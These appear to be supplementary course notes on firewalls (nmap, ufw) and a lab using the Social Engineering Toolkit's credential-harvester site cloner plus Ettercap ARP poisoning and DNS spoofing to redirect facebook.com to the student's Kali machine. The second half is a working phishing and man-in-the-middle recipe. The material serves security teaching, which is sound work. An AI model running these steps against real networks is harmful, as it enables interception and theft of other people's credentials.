Week 8 - Supplementary Materials

Firewalls

- Use nmap to check for open ports 1 through 100.

`nmap -p1-100 -Pn 192.168.1.116`

- Install the Unified Firewall `ufw` application to configure firewall ports.

`sudo apt-get install ufw`

`sudo ufw enable`

- Allow the SSH service (default is port 22) using either of these commands:

`sudo ufw allow ssh`

`sudo ufw allow 22`

- Check the status of the firewall and allow/deny rules:

`sudo ufw status`

- You can deny all traffic for FTP (default is port 21) using either of these commands:

`sudo ufw deny ftp`

`sudo ufw deny 21`

Social Engineering Toolkit (SET)

- Start SET:

`cd /usr/share/set/ sudo setoolkit`

- In the SET menu:

`1) Social Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester Attack > 2) Site Cloner`

`sudo ettercap -G`

- In the Ettercap menu:

"Unified sniffing" "hosts > scan for hosts" "hosts > host list" "MITM > ARP Poisoning" "sniff remote connections"

- Navigate to `/usr/share/ettercap` and open `etter.dns`

`cd /usr/share/ettercap ls sudo cp etter.dns.examples etter.dns sudo nano etter.dns`

- Enter your IP address in etter.dns as a DNS "A" record to spoof facebook.com
- In the example below, we use the IP address 192.168.1.116 but please use your own for the Kali Linux VM. You can find this address using the network manager GUI in the top right-hand toolbar in Kali or via the `ifconfig` command in the terminal.

`facebook.com A 192.168.1.116 *.facebook.com A 192.168.1.116 http:// facebook.com PTR 192.168.1.116`

- In the Ettercap menu:

`Plugins > Manage plugins > dns_spoof`

- Now try http://facebook.com in a Web browser on your local network (inside or outside of the Kali Linux VM).